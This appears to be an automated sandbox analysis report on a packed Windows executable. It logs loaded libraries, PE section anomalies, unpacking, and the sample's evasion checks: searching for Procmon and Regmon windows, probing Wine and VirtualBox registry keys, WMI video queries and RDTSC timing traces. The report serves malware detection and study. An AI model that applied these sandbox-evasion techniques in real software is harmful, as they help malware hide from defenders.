Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: GnHq2ZaBUl.exe

Static file information: File size 2912768 > 1048576

Source: GnHq2ZaBUl.exe

Static PE information: Raw size of wudelijl is bigger than: 0x100000 < 0x29d600

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: GnHq2ZaBUl.exe, 00000000.00000002.2467229687.0000000005B02000.00000040.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe

Unpacked PE file: 0.2.GnHq2ZaBUl.exe.c60000.0.unpack :EW;.rsrc :W;.idata :W;wudelijl:EW;kmxeokrw:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;wudelijl:EW;kmxeokrw:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: GnHq2ZaBUl.exe

Static PE information: real checksum: 0x2cd5e6 should be: 0x2d51c4

Source: GnHq2ZaBUl.exe	Static PE information: section name:
Source: GnHq2ZaBUl.exe	Static PE information: section name: .rsrc
Source: GnHq2ZaBUl.exe	Static PE information: section name: .idata
Source: GnHq2ZaBUl.exe	Static PE information: section name: wudelijl
Source: GnHq2ZaBUl.exe	Static PE information: section name: kmxeokrw
Source: GnHq2ZaBUl.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Code function: 0_3_00BE9D13 push ss; ret	0_3_00BE9D2A
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Code function: 0_3_00BE9D13 push ss; ret	0_3_00BE9D2A
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Code function: 0_3_00BE5D08 push cs; ret	0_3_00BE5D12
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Code function: 0_3_00BE5D08 push cs; ret	0_3_00BE5D12
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Code function: 0_3_00BE9D71 push ss; retf 001Dh	0_3_00BE9D72
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Code function: 0_3_00BE9D71 push ss; retf 001Dh	0_3_00BE9D72
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Code function: 0_3_00BE5D50 push cs; retf 001Ch	0_3_00BE5D5A
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Code function: 0_3_00BE5D50 push cs; retf 001Ch	0_3_00BE5D5A
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Code function: 0_3_00BE9D13 push ss; ret	0_3_00BE9D2A
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Code function: 0_3_00BE9D13 push ss; ret	0_3_00BE9D2A
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Code function: 0_3_00BE5D08 push cs; ret	0_3_00BE5D12
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Code function: 0_3_00BE5D08 push cs; ret	0_3_00BE5D12
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Code function: 0_3_00BE9D71 push ss; retf 001Dh	0_3_00BE9D72
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Code function: 0_3_00BE9D71 push ss; retf 001Dh	0_3_00BE9D72
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Code function: 0_3_00BE5D50 push cs; retf 001Ch	0_3_00BE5D5A
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Code function: 0_3_00BE5D50 push cs; retf 001Ch	0_3_00BE5D5A

Source: GnHq2ZaBUl.exe

Static PE information: section name: entropy: 7.986701846283584

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E2A571 second address: E2A57B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3DA0D10B42h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E2A57B second address: E2A581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E2A581 second address: E2A59E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 jc 00007F3DA0D10B36h 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jns 00007F3DA0D10B38h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E2A59E second address: E2A5A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E321F6 second address: E321FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E32549 second address: E32555 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3DA0B69F4Eh 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E327FF second address: E32803 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E32803 second address: E32809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E32809 second address: E32815 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jg 00007F3DA0D10B36h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E32ADB second address: E32AE0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E32AE0 second address: E32AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E32AE6 second address: E32AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E36743 second address: E36748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E36748 second address: E36769 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b call 00007F3DA0B69F49h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3DA0B69F4Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E36769 second address: E36780 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3DA0D10B38h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 jg 00007F3DA0D10B36h 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E36780 second address: E367C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0B69F4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e pushad 0x0000000f jns 00007F3DA0B69F46h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop eax 0x00000019 mov eax, dword ptr [eax] 0x0000001b pushad 0x0000001c jne 00007F3DA0B69F5Ah 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E367C2 second address: E367C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E367C8 second address: E367E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3DA0B69F52h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E368AE second address: E368B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E368B4 second address: E368B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E36908 second address: E3692A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3DA0D10B48h 0x00000008 jmp 00007F3DA0D10B42h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E3692A second address: E36931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E36931 second address: E36941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DA0D10B3Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E36941 second address: E36945 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E36945 second address: E369C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 add dword ptr [ebp+122D2EFAh], eax 0x0000000f push 00000000h 0x00000011 mov dx, 3D9Eh 0x00000015 push E58E50DFh 0x0000001a jmp 00007F3DA0D10B3Eh 0x0000001f add dword ptr [esp], 1A71AFA1h 0x00000026 mov edi, 5E6A2F6Dh 0x0000002b push 00000003h 0x0000002d mov si, 287Ah 0x00000031 push 00000000h 0x00000033 mov dword ptr [ebp+122D36B2h], eax 0x00000039 push 00000003h 0x0000003b mov edx, dword ptr [ebp+122D2ABEh] 0x00000041 mov dword ptr [ebp+122D1DD9h], eax 0x00000047 call 00007F3DA0D10B39h 0x0000004c jno 00007F3DA0D10B3Eh 0x00000052 push eax 0x00000053 jmp 00007F3DA0D10B3Ch 0x00000058 mov eax, dword ptr [esp+04h] 0x0000005c push ecx 0x0000005d pushad 0x0000005e jnp 00007F3DA0D10B36h 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E36A8E second address: E36A9B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E36A9B second address: E36B02 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 call 00007F3DA0D10B46h 0x0000000d movsx ecx, ax 0x00000010 pop edi 0x00000011 push 00000000h 0x00000013 mov dword ptr [ebp+122D2A7Ch], eax 0x00000019 call 00007F3DA0D10B39h 0x0000001e jmp 00007F3DA0D10B44h 0x00000023 push eax 0x00000024 jnp 00007F3DA0D10B3Eh 0x0000002a ja 00007F3DA0D10B38h 0x00000030 mov eax, dword ptr [esp+04h] 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F3DA0D10B3Bh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E36B02 second address: E36B20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F3DA0B69F46h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 jo 00007F3DA0B69F52h 0x00000016 jc 00007F3DA0B69F4Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E36B20 second address: E36B41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp+04h], eax 0x00000008 jbe 00007F3DA0D10B4Eh 0x0000000e pushad 0x0000000f jmp 00007F3DA0D10B40h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E36B41 second address: E36BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 jmp 00007F3DA0B69F54h 0x0000000b push 00000003h 0x0000000d mov dword ptr [ebp+122D37F7h], edx 0x00000013 push 00000000h 0x00000015 jmp 00007F3DA0B69F4Eh 0x0000001a push 00000003h 0x0000001c je 00007F3DA0B69F46h 0x00000022 call 00007F3DA0B69F49h 0x00000027 jg 00007F3DA0B69F51h 0x0000002d push eax 0x0000002e jmp 00007F3DA0B69F4Fh 0x00000033 mov eax, dword ptr [esp+04h] 0x00000037 jp 00007F3DA0B69F4Eh 0x0000003d mov eax, dword ptr [eax] 0x0000003f jmp 00007F3DA0B69F53h 0x00000044 mov dword ptr [esp+04h], eax 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c jnc 00007F3DA0B69F46h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E36BDA second address: E36BE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E53EB5 second address: E53ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DA0B69F56h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E53ECF second address: E53ED9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3DA0D10B36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E53ED9 second address: E53EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007F3DA0B69F46h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E53EED second address: E53EFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F3DA0D10B36h 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E545F6 second address: E545FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E545FA second address: E54602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E54602 second address: E54608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E54608 second address: E5460C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E5460C second address: E54626 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3DA0B69F46h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007F3DA0B69F4Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E54789 second address: E5478D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E5478D second address: E54793 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E54793 second address: E5479C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E49AF9 second address: E49AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E55739 second address: E5573D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E559F1 second address: E559F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E559F5 second address: E559FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E559FB second address: E55A11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3DA0B69F51h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E5BC76 second address: E5BC7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E5BC7C second address: E5BC80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E5BE46 second address: E5BE4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E5BE4A second address: E5BE7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0B69F55h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push ebx 0x0000000f jnp 00007F3DA0B69F4Ch 0x00000015 pop ebx 0x00000016 mov eax, dword ptr [eax] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push esi 0x0000001c pop esi 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E5BE7E second address: E5BE9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 ja 00007F3DA0D10B36h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E6246C second address: E62472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
